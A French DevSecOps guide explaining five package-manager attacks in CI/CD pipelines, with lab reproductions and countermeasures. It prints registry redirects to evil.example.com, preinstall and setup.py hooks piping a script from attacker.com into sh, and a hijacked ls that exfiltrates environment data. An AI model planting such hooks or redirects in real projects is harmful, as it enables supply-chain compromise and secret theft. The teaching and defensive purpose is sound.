Aller au contenu
Sécurité medium

Attaques via les gestionnaires de paquets en CI/CD

24 min de lecture

Une pull request ajoute un fichier .npmrc d’une seule ligne à la racine du projet. Rien de suspect — juste une configuration de registre. Pourtant, au prochain npm install dans le pipeline, toutes les dépendances sont téléchargées depuis un serveur contrôlé par l’attaquant. Pas de code malveillant dans le diff, pas d’alerte de sécurité, pas de modification du package.json.

Ce guide couvre 5 techniques d’attaque exploitant les fichiers de configuration de 7 gestionnaires de paquets (npm, pip, poetry, uv, yarn, bundler, cargo). Vous apprendrez à les reproduire en lab et à les neutraliser.

  • Pourquoi les gestionnaires de paquets sont un vecteur d’attaque sous-estimé en CI/CD
  • 5 techniques concrètes : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, scripts de build
  • Comment reproduire chaque attaque dans un lab sécurisé
  • Les contre-mesures pour protéger vos pipelines

Le diagramme suivant montre comment un attaquant exploite les fichiers de configuration des gestionnaires de paquets pour exécuter du code dans un pipeline CI/CD — et comment les contre-mesures bloquent chaque étape.

Flux d'attaque via les gestionnaires de paquets en CI/CD

Pourquoi les gestionnaires de paquets sont dangereux

Section intitulée « Pourquoi les gestionnaires de paquets sont dangereux »

Dans un pipeline CI/CD, npm install, pip install -r requirements.txt ou cargo build sont des commandes considérées comme sûres. Elles font partie de chaque build, de chaque déploiement. Personne ne les remet en question.

Le problème : ces commandes ne se contentent pas de télécharger du code. Elles lisent des fichiers de configuration, exécutent des scripts, compilent du code — et chacune de ces étapes peut être détournée pour exécuter du code arbitraire.

Imaginez que vous commandez un livre en ligne. Le livreur est de confiance, le colis a l’air normal. Mais quelqu’un a changé l’adresse de l’entrepôt sur votre bon de commande. Vous recevez un colis qui ressemble au bon livre, sauf qu’il contient autre chose. C’est exactement ce que fait une redirection de registre : le gestionnaire de paquets fait son travail normalement, mais il télécharge depuis le mauvais endroit.

Pour les scripts de lifecycle, c’est encore pire : c’est comme si le colis contenait un mécanisme qui s’active à l’ouverture. Vous n’avez même pas besoin d’utiliser le contenu — le simple fait de l’installer déclenche l’exécution.

Un attaquant peut introduire ces fichiers piégés de plusieurs façons :

VecteurTechniqueFichier piégé
PR malveillanteAjout/modification d’un fichier de config.npmrc, requirements.txt, .yarnrc.yml
Dépendance compromiseLe paquet contient un script post-installpackage.json, setup.py
Dependency confusionPaquet interne remplacé par un paquet publicrequirements.txt, package.json
Fork empoisonnéLe fork contient des fichiers de config modifiésCargo.toml + build.rs
Cache empoisonnéLe cache CI contient des fichiers modifiés.npmrc, .bundle/config
GestionnaireÉcosystèmeFichiers de config dangereuxTechniques
npmNode.js.npmrc, package.jsonRegistre, lifecycle
npxNode.js.npmrc, node_modules/.bin/Registre, binaire
pipPythonrequirements.txt, setup.pyRegistre, post-install, hijack
poetryPythonpyproject.tomlRegistre, scripts, post-install
uvPythonrequirements.txtMêmes que pip
yarnNode.js.yarnrc.ymlConfig exécutable
bundlerRubyGemfile, .bundle/configConfig exécutable
cargoRustCargo.toml, build.rsScript de build

La redirection de registre est l’attaque la plus simple : un fichier de configuration redirige le gestionnaire de paquets vers un registre contrôlé par l’attaquant. Les paquets téléchargés peuvent contenir du code malveillant, tout en portant les mêmes noms et versions que les paquets légitimes.

Un fichier .npmrc placé à la racine du projet est lu automatiquement par npm install et npx. Une seule ligne suffit :

.npmrc
registry=https://evil.example.com/

À partir de ce moment, toutes les dépendances du projet sont téléchargées depuis le registre malveillant. Le package-lock.json ne protège pas : il contient des hashes, mais npm fait confiance au registre défini dans .npmrc.

Peu de développeurs le savent : requirements.txt accepte des options de ligne de commande, pas seulement des noms de paquets. L’option -i (ou --index-url) redirige pip vers un autre registre :

requirements.txt
-i https://evil.example.com/simple/
requests==2.31.0
flask==3.0.0

La commande pip install -r requirements.txt téléchargera requests et flask depuis evil.example.com au lieu de PyPI. L’option --extra-index-url est encore plus vicieuse : elle ajoute un registre supplémentaire, et pip choisit la version la plus récente entre les deux registres — ce qui permet une attaque par dependency confusion.

poetry : sources malveillantes dans pyproject.toml

Section intitulée « poetry : sources malveillantes dans pyproject.toml »

Poetry permet de définir des sources de paquets dans pyproject.toml :

pyproject.toml
[[tool.poetry.source]]
name = "internal"
url = "https://evil.example.com/simple/"
priority = "primary"

Avec priority = "primary", cette source est consultée avant PyPI pour tous les paquets du projet.

  1. Créer un projet npm avec .npmrc malveillant :

    Fenêtre de terminal
    mkdir lab-npm-registry && cd lab-npm-registry
    echo '{"name":"lab","dependencies":{"is-odd":"3.0.1"}}' > package.json
    echo 'registry=https://evil.example.com/' > .npmrc
  2. Lancer npm install et observer :

    Fenêtre de terminal
    timeout 10 npm install 2>&1 || true

    Résultat attendu : npm tente de contacter evil.example.com et échoue (timeout ou erreur DNS). En production, le registre malveillant répondrait avec des paquets piégés.

  3. Tester la même chose avec pip :

    Fenêtre de terminal
    mkdir lab-pip-registry && cd lab-pip-registry
    printf -- '-i https://evil.example.com/simple/\nrequests==2.31.0\n' > requirements.txt
    pip install -r requirements.txt 2>&1 || true

    Résultat attendu : pip affiche une erreur de connexion vers evil.example.com.

  4. Nettoyer :

    Fenêtre de terminal
    cd .. && rm -rf lab-npm-registry lab-pip-registry

Technique 2 : Scripts de lifecycle et post-installation

Section intitulée « Technique 2 : Scripts de lifecycle et post-installation »

Certains gestionnaires de paquets exécutent automatiquement des scripts avant, pendant ou après l’installation d’un paquet. Un attaquant peut exploiter ces mécanismes pour exécuter du code arbitraire lors d’un simple install.

Le fichier package.json supporte des lifecycle scripts qui s’exécutent automatiquement :

ScriptQuand il s’exécute
preinstallAvant l’installation des dépendances
installPendant l’installation
postinstallAprès l’installation des dépendances
prepareAprès install et avant publish
prestartAvant npm start
pretestAvant npm test

Un package.json malveillant peut exécuter n’importe quelle commande :

package.json
{
"name": "paquet-legitime",
"version": "1.0.0",
"scripts": {
"preinstall": "curl https://attacker.com/payload.sh | sh"
}
}

La commande npm install exécutera curl ... | sh avant même d’installer les dépendances. En septembre 2025, cette technique a été utilisée pour compromettre les paquets debug et chalk sur npm, affectant des millions de projets via le ver Shai-Hulud.

Quand pip installe un paquet depuis les sources (pas une wheel pré-compilée), il exécute setup.py. Un attaquant peut surcharger la commande d’installation :

setup.py
from setuptools import setup
from setuptools.command.install import install
class MaliciousInstall(install):
def run(self):
# Code exécuté PENDANT l'installation
import os
os.system("curl https://attacker.com/payload.sh | sh")
install.run(self)
setup(
name="paquet-legitime",
version="1.0.0",
cmdclass={"install": MaliciousInstall},
)

La commande pip install ./paquet-legitime ou pip install paquet-legitime (si le paquet est distribué en sdist) exécutera le code malveillant.

  1. Créer un package.json avec preinstall :

    Fenêtre de terminal
    mkdir lab-npm-lifecycle && cd lab-npm-lifecycle
    cat > package.json << 'JSON'
    {
    "name": "lab-lifecycle",
    "version": "1.0.0",
    "scripts": {
    "preinstall": "echo '[LOTP] preinstall RCE' > /tmp/lab-npm-pwned.txt"
    }
    }
    JSON
  2. Lancer npm install :

    Fenêtre de terminal
    npm install --ignore-scripts=false 2>&1
    cat /tmp/lab-npm-pwned.txt

    Résultat attendu : le fichier /tmp/lab-npm-pwned.txt contient [LOTP] preinstall RCE. Le script s’exécute sans aucun avertissement.

  3. Créer un paquet pip avec setup.py malveillant :

    Fenêtre de terminal
    mkdir -p lab-pip-setup/malicious_pkg
    cat > lab-pip-setup/malicious_pkg/setup.py << 'PYTHON'
    from setuptools import setup
    from setuptools.command.install import install
    import os
    class Exploit(install):
    def run(self):
    os.system("echo '[LOTP] setup.py RCE' > /tmp/lab-pip-pwned.txt")
    install.run(self)
    setup(name="malicious", version="1.0.0", cmdclass={"install": Exploit})
    PYTHON
  4. Installer le paquet :

    Fenêtre de terminal
    pip install ./lab-pip-setup/malicious_pkg 2>&1
    cat /tmp/lab-pip-pwned.txt

    Résultat attendu : le fichier contient [LOTP] setup.py RCE.

  5. Nettoyer :

    Fenêtre de terminal
    rm -f /tmp/lab-npm-pwned.txt /tmp/lab-pip-pwned.txt
    pip uninstall malicious -y 2>/dev/null
    cd .. && rm -rf lab-npm-lifecycle lab-pip-setup

Technique 3 : Détournement de commande (command hijack)

Section intitulée « Technique 3 : Détournement de commande (command hijack) »

Cette technique exploite les mécanismes d’entry points pour remplacer des commandes système par des versions malveillantes. L’attaquant publie un paquet qui déclare un console_scripts portant le nom d’une commande courante (ls, git, curl…).

Les entry points console_scripts permettent à un paquet Python d’installer un exécutable dans le PATH :

setup.py
from setuptools import setup
setup(
name="evil-ls",
version="1.0.0",
py_modules=["evil"],
entry_points={
"console_scripts": [
"ls=evil:main", # Remplace la commande ls !
],
},
)
evil.py
def main():
import subprocess
# Exfiltrer les secrets avant d'exécuter le vrai ls
subprocess.run(["curl", "-s", "https://attacker.com/collect",
"-d", f"PATH={__import__('os').environ.get('PATH', '')}"],
capture_output=True)
# Exécuter le vrai ls pour ne pas éveiller les soupçons
subprocess.run(["/bin/ls"] + __import__('sys').argv[1:])

Après pip install evil-ls, la commande ls du paquet est installée dans le répertoire bin/ de l’environnement Python. Dans un venv ou un pipeline CI/CD où le PATH Python est prioritaire, cette version malveillante de ls sera exécutée à la place de /bin/ls.

Poetry utilise le même mécanisme via pyproject.toml :

pyproject.toml
[project.scripts]
git = "malicious_pkg:hijacked_git"
  1. Créer un paquet avec un console_scripts malveillant :

    Fenêtre de terminal
    mkdir -p lab-hijack/evil_pkg
    cat > lab-hijack/evil_pkg/setup.py << 'PYTHON'
    from setuptools import setup
    setup(
    name="evil-ls",
    version="1.0.0",
    py_modules=["evil"],
    entry_points={"console_scripts": ["ls=evil:main"]},
    )
    PYTHON
    cat > lab-hijack/evil_pkg/evil.py << 'PYTHON'
    def main():
    print("[LOTP] Commande ls détournée !")
    PYTHON
  2. Installer et vérifier :

    Fenêtre de terminal
    pip install ./lab-hijack/evil_pkg 2>&1
    which -a ls

    Résultat attendu : which -a ls montre deux entrées — le ls malveillant dans le PATH Python, et /bin/ls système. Dans un pipeline CI/CD sans alias shell, le ls malveillant serait exécuté en priorité.

  3. Nettoyer immédiatement :

    Fenêtre de terminal
    pip uninstall evil-ls -y
    cd .. && rm -rf lab-hijack

Technique 4 : Fichiers de configuration exécutables

Section intitulée « Technique 4 : Fichiers de configuration exécutables »

Certains gestionnaires de paquets utilisent des fichiers de configuration qui sont en réalité du code exécutable. Modifier ces fichiers revient à injecter du code qui sera exécuté lors de la prochaine commande du gestionnaire.

Yarn 2+ utilise un fichier .yarnrc.yml pour sa configuration. La directive yarnPath indique à yarn quel fichier JavaScript exécuter comme gestionnaire de paquets :

.yarnrc.yml
yarnPath: "./malicious.js"
malicious.js
const fs = require("fs");
// Code exécuté AVANT toute commande yarn
fs.writeFileSync("/tmp/yarn-pwned.txt",
"[LOTP] yarnPath RCE — exécuté par yarn\n");
// Même `yarn --version` déclenche l'exécution
process.exit(0);

Chaque commande yarn — y compris yarn --version — exécute d’abord le fichier pointé par yarnPath. C’est un comportement par conception de Yarn 2+ (Plug’n’Play), mais il devient un vecteur d’attaque lorsqu’un attaquant modifie .yarnrc.yml via une PR.

Contrairement aux autres fichiers de configuration, un Gemfile n’est pas du YAML ou du JSON : c’est du code Ruby exécuté par Bundler. Tout code Ruby valide placé dans un Gemfile sera exécuté lors de bundle install :

Gemfile
# Code Ruby exécuté au chargement du Gemfile
File.write("/tmp/bundler-pwned.txt",
"[LOTP] Gemfile RCE — code Ruby exécuté\n")
source "https://rubygems.org"
gem "rake"

Le code Ruby est exécuté avant la résolution des dépendances. Bundler accepte aussi une redirection via .bundle/config :

.bundle/config
---
BUNDLE_GEMFILE: "/chemin/vers/Gemfile-malveillant"

Cette technique redirige bundle install vers un Gemfile arbitraire, même s’il se trouve dans un autre répertoire.

Lab : tester les fichiers de configuration exécutables

Section intitulée « Lab : tester les fichiers de configuration exécutables »
  1. Tester yarn avec yarnPath malveillant :

    Fenêtre de terminal
    mkdir lab-yarn && cd lab-yarn
    echo '{"name":"lab-yarn","version":"1.0.0"}' > package.json
    cat > poc.js << 'JS'
    const fs = require("fs");
    fs.writeFileSync("/tmp/lab-yarn-pwned.txt",
    "[LOTP] yarnPath RCE — même yarn --version l'exécute\n");
    console.log("[POC] Code exécuté via yarnPath");
    process.exit(0);
    JS
    echo 'yarnPath: "./poc.js"' > .yarnrc.yml
    yarn --version 2>&1
    cat /tmp/lab-yarn-pwned.txt

    Résultat attendu : même yarn --version exécute poc.js et crée le fichier. La commande yarn n’est jamais atteinte — le code malveillant prend le contrôle immédiatement.

  2. Tester bundler avec du code Ruby dans le Gemfile :

    Fenêtre de terminal
    mkdir lab-bundler && cd lab-bundler
    cat > Gemfile << 'RUBY'
    File.write("/tmp/lab-bundler-pwned.txt",
    "[LOTP] Gemfile RCE — code Ruby exécuté\n")
    source "https://rubygems.org"
    gem "rake"
    RUBY
    ruby -e 'load "./Gemfile"' 2>&1 || true
    cat /tmp/lab-bundler-pwned.txt

    Résultat attendu : même si source provoque une erreur (méthode non définie hors Bundler), le File.write s’exécute avant l’erreur. En contexte Bundler, tout le fichier s’exécute sans erreur.

  3. Nettoyer :

    Fenêtre de terminal
    rm -f /tmp/lab-yarn-pwned.txt /tmp/lab-bundler-pwned.txt
    cd .. && rm -rf lab-yarn lab-bundler .yarnrc.yml

cargo : build.rs — exécution avant la compilation

Section intitulée « cargo : build.rs — exécution avant la compilation »

Cargo exécute automatiquement un fichier build.rs situé à la racine d’un crate avant de compiler le code Rust. Ce fichier peut contenir n’importe quel code Rust, y compris des appels système :

build.rs
use std::process::Command;
use std::fs;
fn main() {
// Exécuté AUTOMATIQUEMENT avant cargo build
let output = Command::new("id").output().unwrap();
let id = String::from_utf8_lossy(&output.stdout);
fs::write("/tmp/cargo-pwned.txt",
format!("[LOTP] build.rs RCE — {}", id)).unwrap();
}

Le fichier build.rs est exécuté dans ces contextes :

CommandeExécute build.rs ?
cargo buildOui
cargo testOui (compilation requise)
cargo benchOui (compilation requise)
cargo runOui (compilation requise)
cargo checkOui
cargo docOui

Le fichier Cargo.toml peut aussi référencer des dépendances de build qui contiennent elles-mêmes un build.rs :

Cargo.toml
[build-dependencies]
malicious-build-helper = "1.0.0"
  1. Créer un projet Rust avec un build.rs malveillant :

    Fenêtre de terminal
    mkdir lab-cargo && cd lab-cargo
    cat > Cargo.toml << 'TOML'
    [package]
    name = "lab-cargo"
    version = "0.1.0"
    edition = "2021"
    TOML
    mkdir src
    echo 'fn main() { println!("Hello"); }' > src/main.rs
    cat > build.rs << 'RUST'
    use std::process::Command;
    use std::fs;
    fn main() {
    fs::write("/tmp/lab-cargo-pwned.txt",
    "[LOTP] build.rs RCE — code exécuté avant la compilation\n")
    .unwrap();
    let output = Command::new("id").output().unwrap();
    fs::write("/tmp/lab-cargo-id.txt",
    format!("Exécuté en tant que: {}",
    String::from_utf8_lossy(&output.stdout)))
    .unwrap();
    }
    RUST
  2. Lancer cargo build :

    Fenêtre de terminal
    cargo build 2>&1
    cat /tmp/lab-cargo-pwned.txt
    cat /tmp/lab-cargo-id.txt

    Résultat attendu : les deux fichiers sont créés. Le build.rs s’exécute avant la compilation de src/main.rs, avec les droits complets de l’utilisateur du pipeline.

  3. Nettoyer :

    Fenêtre de terminal
    rm -f /tmp/lab-cargo-pwned.txt /tmp/lab-cargo-id.txt
    cd .. && rm -rf lab-cargo
Contre-mesureImpactDifficulté
Fichier lockfile vérifiéDétecte les changements de registre/hashFaible
--ignore-scripts pour npmBloque preinstall/postinstallFaible
--no-build-isolation désactivé pour pipIsole le buildFaible
Revue des fichiers de config dans les PRDétecte .npmrc, .yarnrc.yml, etc.Moyenne
CODEOWNERS sur les fichiers sensiblesExige une approbation pour les fichiers de configMoyenne
Pipeline en lecture seuleLimite l’impact des RCEÉlevée
Fenêtre de terminal
# Désactiver les lifecycle scripts
npm install --ignore-scripts
# Auditer les scripts avant installation
npm pack <paquet> && tar xf <paquet>.tgz && cat package/package.json | jq '.scripts'
# Protéger .npmrc avec CODEOWNERS
echo "/.npmrc @security-team" >> .github/CODEOWNERS

Configurez votre pipeline pour alerter lorsqu’une PR modifie ces fichiers :

.github/CODEOWNERS
# Fichiers de configuration des gestionnaires de paquets
/.npmrc @security-team
/.yarnrc.yml @security-team
/Gemfile @security-team
/.bundle/config @security-team
/build.rs @security-team
# Fichiers qui peuvent contenir des redirections de registre
/requirements.txt @security-team
/pyproject.toml @security-team
/Cargo.toml @security-team
SymptômeCause probableSolution
npm install télécharge depuis un registre inconnu.npmrc avec un registry modifiéVérifier .npmrc à la racine et dans ~/.npmrc
pip install échoue avec une erreur de certificat-i vers un registre HTTPS non valide dans requirements.txtInspecter requirements.txt pour les options -i ou --extra-index-url
Un binaire système se comporte étrangementconsole_scripts installe un binaire homonymewhich -a <commande> pour lister toutes les versions
yarn exécute du code inattenduyarnPath pointe vers un fichier malveillantVérifier .yarnrc.ymlyarnPath doit pointer vers .yarn/releases/
cargo build écrit des fichiers inattendusbuild.rs contient du code malveillantLire build.rs et chercher Command::new, fs::write
bundle install exécute des commandesLe Gemfile contient du code Ruby arbitraireChercher system, exec, File.write dans le Gemfile
#TechniqueGestionnairesFichier piégéDéclencheur
1Redirection de registrenpm, pip, poetry, uv.npmrc, requirements.txt, pyproject.tomlinstall
2Scripts de lifecyclenpm, pip, poetry, uvpackage.json, setup.pyinstall
3Détournement de commandepip, poetrysetup.py, pyproject.tomlinstall + usage
4Config exécutableyarn, bundler.yarnrc.yml, GemfileToute commande
5Script de buildcargobuild.rsbuild, test, check
  • Les gestionnaires de paquets ne sont pas de simples téléchargeurs : ils exécutent du code à l’installation, au build, et même à la configuration.

  • 5 techniques permettent l’exécution de code arbitraire : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, et scripts de build.

  • Tous les écosystèmes sont concernés : Node.js (npm, yarn), Python (pip, poetry, uv), Ruby (bundler) et Rust (cargo).

  • La technique la plus simple est la redirection de registre (une ligne dans .npmrc ou requirements.txt), la plus dangereuse est le script de lifecycle (exécution automatique sans avertissement).

  • La contre-mesure la plus efficace est CODEOWNERS : exiger une revue par l’équipe sécurité pour tout fichier de configuration de gestionnaire de paquets.

  • --ignore-scripts (npm) et --only-binary=:all: (pip) bloquent l’exécution de code à l’installation, mais peuvent casser certains paquets légitimes.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn